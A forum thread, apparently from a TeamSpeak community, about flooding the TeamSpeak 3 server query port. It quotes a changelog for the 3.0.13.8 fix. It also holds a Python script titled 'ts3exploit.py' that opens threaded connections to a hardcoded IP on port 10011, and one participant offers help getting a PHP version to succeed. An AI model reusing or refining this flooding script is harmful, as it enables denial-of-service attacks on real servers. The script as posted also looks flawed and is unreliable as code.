Be aware from this script - TS3 SYN QUERY PORT FLOODING

InVaDeR359

Active Member
May 29, 2017
160
121
72
Now, this was fixed in version 3.0.13.8

=== Server Release 3.0.13.8 19 july 2017
+ Server Query connections now have a combined maximum buffer size. When this limit is exceeded,
the connection using the most memory is closed. The buffer size is controlled by the command
line variable "query_buffer_mb". The default is 20, which means the maximum amount of buffered
data is 20 megabyte. The mimimum is 1 megabyte. Make sure to only enter positive integer numbers
here.
* Connecting to the server query port, now counts as 1 command, with regard to flood protection.
- Fix client able to connect with no nickname
 

Bluscream

Retired Staff
Contributor
May 8, 2015
967
934
211
I tried this but it doesn't seem to stay connected

Python:
# TeamSpeak 3 'SYN/TCP' Flooding With Treading
# Using: /usr/bin/python ts3exploit.py

import socket, threading, random
from asyncio import sleep
from traceback import format_exc
sockets = []

class MonitorThread(threading.Thread):
        targetAddress = "178.32.180.215"
        def run(self):
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((self.targetAddress, 10011))
                sockets.append(s)

for i in range(5):
    try:
        t = MonitorThread()
        t.start()
    except:
        print(i, format_exc())
print(len(sockets),"sockets:")
for socket in sockets:
    print(socket.send(b'whoami'))
while(True):
    print("waiting...")
    sleep(10000)
 

InVaDeR359

Active Member
May 29, 2017
160
121
72
As I said before @Bluscream
They have put a limit on the buffer size of query connections.
Now, this was fixed in version 3.0.13.8

=== Server Release 3.0.13.8 19 july 2017
+ Server Query connections now have a combined maximum buffer size. When this limit is exceeded,
the connection using the most memory is closed. The buffer size is controlled by the command
line variable "query_buffer_mb". The default is 20, which means the maximum amount of buffered
data is 20 megabyte. The mimimum is 1 megabyte. Make sure to only enter positive integer numbers
here.
* Connecting to the server query port, now counts as 1 command, with regard to flood protection.
- Fix client able to connect with no nickname
 

InVaDeR359

Active Member
May 29, 2017
160
121
72
I'm not familiar with Python but you need to find out what the script is doing different than a usual Yatqa query connection.
If you could write me the same code in PHP and succeed I think I can help you
 
Top